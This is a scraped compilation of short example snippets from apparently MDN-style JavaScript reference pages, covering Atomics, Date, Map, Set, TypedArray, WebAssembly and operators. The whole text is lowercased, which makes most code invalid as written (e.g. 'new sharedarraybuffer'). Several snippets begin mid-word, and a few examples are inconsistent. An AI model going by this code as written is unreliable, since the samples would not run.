5 0101 1 0001 ---- 5 0101 examples using or const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the old value atomics.load(ta, 0); // 3 specifications specification ecmascript (ecma-262)the definition of 'atomics.or' in that specification.
Atomics.store() - JavaScript
examples using store() var sab = new sharedarraybuffer(1024); var ta = new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification.
Atomics.sub() - JavaScript
examples using sub const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the definition of 'atomics.sub' in that specification.
Atomics.xor() - JavaScript
5 0101 1 0001 ---- 4 0100 examples using xor const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5, the old value atomics.load(ta, 0); // 4 specifications specification ecmascript (ecma-262)the definition of 'atomics.xor' in that specification.
BigInt() constructor - JavaScript
examples creating a new bigint bigint(123); // 123n specifications specification ecmascript (ecma-262)the definition of 'bigint constructor' in that specification.
BigInt.prototype.valueOf() - JavaScript
examples using valueof typeof object(1n); // object typeof object(1n).valueof(); // bigint specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.valueof()' in that specification.
Boolean() constructor - JavaScript
= new boolean(0); var bnull = new boolean(null); var bemptystring = new boolean(''); var bfalse = new boolean(false); creating boolean objects with an initial value of true var btrue = new boolean(true); var btruestring = new boolean('true'); var bfalsestring = new boolean('false'); var bsulin = new boolean('su lin'); var barrayproto = new boolean([]); var bobjproto = new boolean({}); specifications specification ecmascript (ecma-262)the definition of 'boolean constructor' in that specification.
Boolean.prototype.toSource() - JavaScript
examples native function for the built-in boolean object, tosource returns the following string indicating that the source code is not available: function boolean() { [native code] } specifications not part of any standard.
Boolean - JavaScript
= new boolean(0); var bnull = new boolean(null); var bemptystring = new boolean(''); var bfalse = new boolean(false); creating boolean objects with an initial value of true var btrue = new boolean(true); var btruestring = new boolean('true'); var bfalsestring = new boolean('false'); var bsulin = new boolean('su lin'); var barrayproto = new boolean([]); var bobjproto = new boolean({}); specifications specification ecmascript (ecma-262)the definition of 'boolean' in that specification.
DataView.prototype.getInt8() - JavaScript
examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification.
DataView.prototype.getUint8() - JavaScript
examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification.
DataView.prototype.setInt8() - JavaScript
examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification.
DataView.prototype.setUint8() - JavaScript
examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification.
Date.prototype.getUTCDate() - JavaScript
var today = new date(); var day = today.getutcdate(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcdate' in that specification.
Date.prototype.getUTCDay() - JavaScript
var today = new date(); var weekday = today.getutcday(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcday' in that specification.
Date.prototype.getUTCFullYear() - JavaScript
var today = new date(); var year = today.getutcfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcfullyear' in that specification.
Date.prototype.getUTCHours() - JavaScript
var today = new date(); var hours = today.getutchours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutchours' in that specification.
Date.prototype.getUTCMilliseconds() - JavaScript
var today = new date(); var milliseconds = today.getutcmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmilliseconds' in that specification.
Date.prototype.getUTCMinutes() - JavaScript
var today = new date(); var minutes = today.getutcminutes(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcminutes' in that specification.
Date.prototype.getUTCSeconds() - JavaScript
var today = new date(); var seconds = today.getutcseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcseconds' in that specification.
Date.prototype.setDate() - JavaScript
); // 1962-07-07 (7th of july 1962) thebigday.setdate(24); // 1962-07-24 (24th of july 1962) thebigday.setdate(32); // 1962-08-01 (1st of august 1962) thebigday.setdate(22); // 1962-08-22 (22th of august 1962) thebigday.setdate(0); // 1962-07-31 (31th of july 1962) thebigday.setdate(98); // 1962-10-06 (6th of october 1962) thebigday.setdate(-50); // 1962-08-11 (11th of august 1962) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setdate' in that specification.
Date.prototype.setTime() - JavaScript
examples using settime() var thebigday = new date('july 1, 1999'); var sameasbigday = new date(); sameasbigday.settime(thebigday.gettime()); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.settime' in that specification.
Date.prototype.setUTCDate() - JavaScript
examples using setutcdate() var thebigday = new date(); thebigday.setutcdate(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcdate' in that specification.
Date.prototype.setUTCFullYear() - JavaScript
examples using setutcfullyear() var thebigday = new date(); thebigday.setutcfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcfullyear' in that specification.
Date.prototype.setUTCHours() - JavaScript
examples using setutchours() var thebigday = new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification.
Date.prototype.setUTCMilliseconds() - JavaScript
examples using setutcmilliseconds() var thebigday = new date(); thebigday.setutcmilliseconds(500); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmilliseconds' in that specification.
Date.prototype.setUTCMinutes() - JavaScript
examples using setutcminutes() var thebigday = new date(); thebigday.setutcminutes(43); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcminutes' in that specification.
Date.prototype.setUTCMonth() - JavaScript
examples using setutcmonth() var thebigday = new date(); thebigday.setutcmonth(11); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmonth' in that specification.
Date.prototype.setUTCSeconds() - JavaScript
examples using setutcseconds() var thebigday = new date(); thebigday.setutcseconds(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcseconds' in that specification.
Date.prototype.toSource() - JavaScript
examples native function for the built-in date object, tosource() returns the following string indicating that the source code is not available: function date() { [native code] } specifications not part of any standard.
Error.prototype.columnNumber - JavaScript
examples using columnnumber var e = new error('could not parse input'); throw e; console.log(e.columnnumber) // 0 specifications not part of any standard.
Error.prototype.lineNumber - JavaScript
specifications not part of any standard.
Error.prototype.name - JavaScript
examples throwing a custom error var e = new error('malformed input'); // e.name is 'error' e.name = 'parseerror'; throw e; // e.tostring() would return 'parseerror: malformed input' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.name' in that specification.
Error.prototype.toString() - JavaScript
return name + ': ' + msg; }; examples using tostring() var e = new error('fatal error'); console.log(e.tostring()); // 'error: fatal error' e.name = undefined; console.log(e.tostring()); // 'error: fatal error' e.name = ''; console.log(e.tostring()); // 'fatal error' e.message = undefined; console.log(e.tostring()); // '' e.name = 'hello'; console.log(e.tostring()); // 'hello' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.tostring' in that specification.
Map.prototype[@@iterator]() - JavaScript
bar"] console.log(mapiter.next().value) // [object, "baz"] using [@@iterator]() with for..of const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') for (const entry of mymap) { console.log(entry) } // ["0", "foo"] // [1, "bar"] // [{}, "baz"] for (const [key, value] of mymap) { console.log(`${key}: ${value}`) } // 0: foo // 1: bar // [object]: baz specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@iterator]()' in that specification.
get Map[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent map objects in your derived class methods: class mymap extends map { // overwrite mymap species to the parent map constructor static get [symbol.species]() { return map; } } specifications specification ecmascript (ecma-262)the definition of 'get map [ @@species ]' in that specification.
Map.prototype[@@toStringTag] - JavaScript
property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification.
Map() constructor - JavaScript
examples creating a new map let mymap = new map([ [1, 'one'], [2, 'two'], [3, 'three'], ]) specifications specification ecmascript (ecma-262)the definition of 'map constructor' in that specification.
Map.prototype.clear() - JavaScript
examples using clear() var mymap = new map(); mymap.set('bar', 'baz'); mymap.set(1, 'foo'); mymap.size; // 2 mymap.has('bar'); // true mymap.clear(); mymap.size; // 0 mymap.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.clear' in that specification.
Map.prototype.entries() - JavaScript
examples using entries() let mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' in that specification.
Map.prototype.keys() - JavaScript
examples using keys() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification.
Map.prototype.values() - JavaScript
examples using values() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification.
Number.EPSILON - JavaScript
polyfill if (number.epsilon === undefined) { number.epsilon = math.pow(2, -52); } examples testing equality x = 0.2; y = 0.3; z = 0.1; equal = (math.abs(x - y + z) < number.epsilon); specifications specification ecmascript (ecma-262)the definition of 'number.epsilon' in that specification.
Number.NaN - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'number.nan' in that specification.
Number() constructor - JavaScript
examples creating number objects const a = new number('123'); // a === 123 is false const b = number('123'); // b === 123 is true a instanceof number; // is true b instanceof number; // is false specifications specification ecmascript (ecma-262)the definition of 'number constructor' in that specification.
Object.getPrototypeOf() - JavaScript
object.getprototypeof('foo'); // typeerror: "foo" is not an object (es5 code) object.getprototypeof('foo'); // string.prototype (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.getprototypeof' in that specification.
Reflect.getPrototypeOf() - JavaScript
bjects object.getprototypeof('foo') // throws typeerror reflect.getprototypeof('foo') // throws typeerror // in es2015 only reflect throws, object coerces non-objects object.getprototypeof('foo') // string.prototype reflect.getprototypeof('foo') // throws typeerror // to mimic the object es2015 behavior you need to coerce reflect.getprototypeof(object('foo')) // string.prototype specifications specification ecmascript (ecma-262)the definition of 'reflect.getprototypeof' in that specification.
get RegExp[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent regexp objects in your derived class methods: class myregexp extends regexp { // overwrite myregexp species to the parent regexp constructor static get [symbol.species]() { return regexp; } } specifications specification ecmascript (ecma-262)the definition of 'get regexp [ @@species ]' in that specification.
RegExp.input ($_) - JavaScript
examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
Set.prototype[@@iterator]() - JavaScript
st myset = new set(); myset.add('0'); myset.add(1); myset.add({}); const setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console.log(v); } specifications specification ecmascript (ecma-262)the definition of 'set.prototype[@@iterator]' in that specification.
get Set[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent set objects in your derived class methods: class myset extends set { // overwrite myset species to the parent set constructor static get [symbol.species]() { return set; } } specifications specification ecmascript (ecma-262)the definition of 'get set [ @@species ]' in that specification.
Set() constructor - JavaScript
examples using the set object let myset = new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) specifications specification ecmascript (ecma-262)the definition of 'set constructor' in that specification.
Set.prototype.add() - JavaScript
examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.clear() - JavaScript
examples using the clear method var myset = new set(); myset.add(1); myset.add('foo'); myset.size; // 2 myset.has('foo'); // true myset.clear(); myset.size; // 0 myset.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'set.prototype.clear' in that specification.
Set.prototype.delete() - JavaScript
setobj.foreach(function(point){ if (point.x > 10){ setobj.delete(point) } }) specifications specification ecmascript (ecma-262)the definition of 'set.prototype.delete' in that specification.
Set.prototype.entries() - JavaScript
examples using entries() var myset = new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in that specification.
Set.prototype.values() - JavaScript
examples using values() var myset = new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification.
String.prototype[@@iterator]() - JavaScript
using [@@iterator]() var str = 'a\ud835\udc68'; var striter = str[symbol.iterator](); console.log(striter.next().value); // "a" console.log(striter.next().value); // "\ud835\udc68" using [@@iterator]() with for..of var str = 'a\ud835\udc68b\ud835\udc69c\ud835\udc6a'; for (var v of str) { console.log(v); } // "a" // "\ud835\udc68" // "b" // "\ud835\udc69" // "c" // "\ud835\udc6a" specifications specification ecmascript (ecma-262)the definition of 'string.prototype[@@iterator]()' in that specification.
String length - JavaScript
mystring.length = 4; console.log(mystring); // expected output: "bluebells" console.log(mystring.length); // expected output: 9 specifications specification ecmascript (ecma-262) ...
String.prototype.search() - JavaScript
an unsuccessful search (-1) let str = "hey jude" let re = /[a-z]/g let redot = /[.]/g console.log(str.search(re)) // returns 4, which is the index of the first capital letter "j" console.log(str.search(redot)) // returns -1 cannot find '.' dot punctuation specifications specification ecmascript (ecma-262)the definition of 'string.prototype.search' in that specification.
String.prototype.slice() - JavaScript
console.log(str.slice(-5, -1)) // => "n us" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.slice' in that specification.
Symbol.keyFor() - JavaScript
examples using keyfor var globalsym = symbol.for('foo'); // create a new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.keyfor' in that specification.
Symbol.species - JavaScript
the species symbol lets you do this: class myarray extends array { // overwrite species to the parent array constructor static get [symbol.species]() { return array; } } let a = new myarray(1,2,3); let mapped = a.map(x => x * x); console.log(mapped instanceof myarray); // false console.log(mapped instanceof array); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.species' in that specification.
TypedArray.prototype[@@iterator]() - JavaScript
r..of loop // and let-scoped variables in for loops for (let n of arr) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr[symbol.iterator](); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype[@@iterator]()' in that specification.
get TypedArray[@@species] - JavaScript
however, you might want to overwrite this, in order to return a parent typed array object in your derived class methods: class mytypedarray extends uint8array { // overwrite mytypedarray species to the parent uint8array constructor static get [symbol.species]() { return uint8array; } } specifications specification ecmascript (ecma-262)the definition of 'get %typedarray% [ @@species ]' in that specification.
TypedArray.BYTES_PER_ELEMENT - JavaScript
_per_element int8array.bytes_per_element; // 1 uint8array.bytes_per_element; // 1 uint8clampedarray.bytes_per_element; // 1 int16array.bytes_per_element; // 2 uint16array.bytes_per_element; // 2 int32array.bytes_per_element; // 4 uint32array.bytes_per_element; // 4 float32array.bytes_per_element; // 4 float64array.bytes_per_element; // 8 specifications specification ecmascript (ecma-262)the definition of 'typedarray.bytes_per_element' in that specification.
TypedArray.prototype.copyWithin() - JavaScript
examples using copywithin var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] uint8.copywithin(3,0,3); console.log(uint8); // uint8array [ 1, 2, 3, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.copywithin' in that specification.
TypedArray.prototype.entries() - JavaScript
et-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.entries(); console.log(earr.next().value); // [0, 10] console.log(earr.next().value); // [1, 20] console.log(earr.next().value); // [2, 30] console.log(earr.next().value); // [3, 40] console.log(earr.next().value); // [4, 50] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.entries()' in that specification.
TypedArray.prototype.fill() - JavaScript
fill = array.prototype.fill; } examples using fill new uint8array([1, 2, 3]).fill(4); // uint8array [4, 4, 4] new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4] new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3] new uint8array([1, 2, 3]).fill(4, 1, 1); // uint8array [1, 2, 3] new uint8array([1, 2, 3]).fill(4, -3, -2); // uint8array [4, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.fill' in that specification.
TypedArray.prototype.includes() - JavaScript
s var uint8 = new uint8array([1,2,3]); uint8.includes(2); // true uint8.includes(4); // false uint8.includes(3, 3); // false // nan handling (only true for float32 and float64) new uint8array([nan]).includes(nan); // false, since the nan passed to the constructor gets converted to 0 new float32array([nan]).includes(nan); // true; new float64array([nan]).includes(nan); // true; specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.includes' in that specification.
TypedArray.prototype.keys() - JavaScript
ust support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.next().value); // 0 console.log(earr.next().value); // 1 console.log(earr.next().value); // 2 console.log(earr.next().value); // 3 console.log(earr.next().value); // 4 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.keys()' in that specification.
TypedArray.prototype.reverse() - JavaScript
examples using reverse var uint8 = new uint8array([1, 2, 3]); uint8.reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.reverse' in that specification.
TypedArray.prototype.subarray() - JavaScript
examples using the subarray method var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] var sub = uint8.subarray(0,4); console.log(sub); // uint8array [ 1, 2, 3, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.subarray' in that specification.
TypedArray.prototype.values() - JavaScript
port for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.values()' in that specification.
WeakMap.prototype.clear() - JavaScript
syntax wm.clear(); examples using the clear method var wm = new weakmap(); var obj = {}; wm.set(obj, 'foo'); wm.set(window, 'bar'); wm.has(obj); // true wm.has(window); // true wm.clear(); wm.has(obj) // false wm.has(window) // false specifications not part of any standard.
WeakMap.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.delete' in that specification.
WeakMap.prototype.set() - JavaScript
examples using the set method var wm = new weakmap(); var obj = {}; // add new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification.
WeakRef.prototype.deref() - JavaScript
const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.textcontent = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; specifications specification weakrefsthe definition of 'weakref.prototype.deref()' in that specification.
WeakSet() constructor - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakset constructor' in that specification.
WeakSet.prototype.add() - JavaScript
examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.add' in that specification.
WeakSet.prototype.clear() - JavaScript
syntax ws.clear(); examples using the clear method var ws = new weakset(); ws.add(window); ws.has(window); // true ws.clear(); ws.has(window); // false specifications not part of any standard.
WeakSet.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.delete' in that specification.
WebAssembly.Memory.prototype.buffer - JavaScript
webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
WebAssembly.Table.prototype.grow() - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.length - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification.
WebAssembly.validate() - JavaScript
"" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification.
uneval() - JavaScript
examples using uneval var a = 1; uneval(a); // returns a string containing 1 var b = '1'; uneval(b); // returns a string containing "1" uneval(function foo() {}); // returns "(function foo(){})" var a = uneval(function foo() { return 'hi'; }); var foo = eval(a); foo(); // returns "hi" specifications not part of any standard.
Assignment (=) - JavaScript
syntax operator: x = y examples simple assignment and chaining // assuming the following variables // x = 5 // y = 10 // z = 25 x = y // x is 10 x = y = z // x, y and z are all 25 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise AND assignment (&=) - JavaScript
syntax operator: x &= y meaning: x = x & y examples using bitwise and assignment let a = 5; // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 a &= 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise OR assignment (|=) - JavaScript
syntax operator: x |= y meaning: x = x | y examples using bitwise or assignment let a = 5; a |= 2; // 7 // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 // ----------------------------------- // 7: 00000000000000000000000000000111 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise XOR assignment (^=) - JavaScript
meaning: x = x ^ y examples using bitwise xor assignment let a = 5; // 00000000000000000000000000000101 a ^= 3; // 00000000000000000000000000000011 console.log(a); // 00000000000000000000000000000110 // 6 let b = 5; // 00000000000000000000000000000101 b ^= 0; // 00000000000000000000000000000000 console.log(b); // 00000000000000000000000000000101 // 5 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Decrement (--) - JavaScript
examples postfix decrement let x = 3; y = x--; // y = 3 // x = 2 prefix decrement let a = 2; b = --a; // a = 1 // b = 1 specifications specification ecmascript (ecma-262)the definition of 'decrement operator' in that specification.
Division (/) - JavaScript
syntax operator: x / y examples basic division 1 / 2 // 0.5 math.floor(3 / 2) // 1 1.0 / 2.0 // 0.5 division by zero 2.0 / 0 // infinity 2.0 / 0.0 // infinity, because 0.0 === 0 2.0 / -0.0 // -infinity specifications specification ecmascript (ecma-262)the definition of 'division operator' in that specification.
Division assignment (/=) - JavaScript
syntax operator: x /= y meaning: x = x / y examples using division assignment // assuming the following variable // bar = 5 bar /= 2 // 2.5 bar /= 'foo' // nan bar /= 0 // infinity specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Exponentiation assignment (**=) - JavaScript
syntax operator: x **= y meaning: x = x ** y examples using exponentiation assignment // assuming the following variable // bar = 5 bar **= 2 // 25 bar **= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Greater than (>) - JavaScript
og(true > false); // true console.log(false > true); // false console.log(true > 0); // true console.log(true > 1); // false console.log(null > 0); // false console.log(1 > null); // true console.log(undefined > 3); // false console.log(3 > undefined); // false console.log(3 > nan); // false console.log(nan > 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Greater than or equal (>=) - JavaScript
e); // true console.log(true >= true); // true console.log(false >= true); // false console.log(true >= 0); // true console.log(true >= 1); // true console.log(null >= 0); // true console.log(1 >= null); // true console.log(undefined >= 3); // false console.log(3 >= undefined); // false console.log(3 >= nan); // false console.log(nan >= 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Increment (++) - JavaScript
examples postfix increment let x = 3; y = x++; // y = 3 // x = 4 prefix increment let a = 2; b = ++a; // a = 3 // b = 3 specifications specification ecmascript (ecma-262)the definition of 'increment operator' in that specification.
Left shift assignment (<<=) - JavaScript
syntax operator: x <<= y meaning: x = x << y examples using left shift assignment let a = 5; // 00000000000000000000000000000101 bar <<= 2; // 20 // 00000000000000000000000000010100 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Less than (<) - JavaScript
og(true < false); // false console.log(false < true); // true console.log(0 < true); // true console.log(true < 1); // false console.log(null < 0); // false console.log(null < 1); // true console.log(undefined < 3); // false console.log(3 < undefined); // false console.log(3 < nan); // false console.log(nan < 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Less than or equal (<=) - JavaScript
; // false console.log(true <= true); // true console.log(false <= true); // true console.log(true <= 0); // false console.log(true <= 1); // true console.log(null <= 0); // true console.log(1 <= null); // false console.log(undefined <= 3); // false console.log(3 <= undefined); // false console.log(3 <= nan); // false console.log(nan <= 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Remainder (%) - JavaScript
syntax operator: var1 % var2 examples remainder with positive dividend 12 % 5 // 2 1 % -2 // 1 1 % 2 // 1 2 % 3 // 2 5.5 % 2 // 1.5 remainder with negative dividend -12 % 5 // -2 -1 % 2 // -1 -4 % 2 // -0 remainder with nan nan % 2 // nan specifications specification ecmascript (ecma-262)the definition of 'remainder operator' in that specification.
Remainder assignment (%=) - JavaScript
syntax operator: x %= y meaning: x = x % y examples using remainder assignment // assuming the following variable // bar = 5 bar %= 2 // 1 bar %= 'foo' // nan bar %= 0 // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Right shift assignment (>>=) - JavaScript
syntax operator: x >>= y meaning: x = x >> y examples using right shift assignment let a = 5; // (00000000000000000000000000000101) a >>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>= 2; // -2 (-00000000000000000000000000000010) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Strict equality (===) - JavaScript
ole.log(null === null); // true comparing operands of different types console.log("3" === 3); // false console.log(true === 1); // false console.log(null === undefined); // false comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 === object2); // false console.log(object1 === object1); // true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Strict inequality (!==) - JavaScript
nsole.log(null !== null); // false comparing operands of different types console.log("3" !== 3); // true console.log(true !== 1); // true console.log(null !== undefined); // true comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 !== object2); // true console.log(object1 !== object1); // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Subtraction (-) - JavaScript
syntax operator: x - y examples subtraction with numbers 5 - 3 // 2 3 - 5 // -2 subtraction with non-numbers 'foo' - 3 // nan specifications specification ecmascript (ecma-262)the definition of 'subtraction operator' in that specification.
Subtraction assignment (-=) - JavaScript
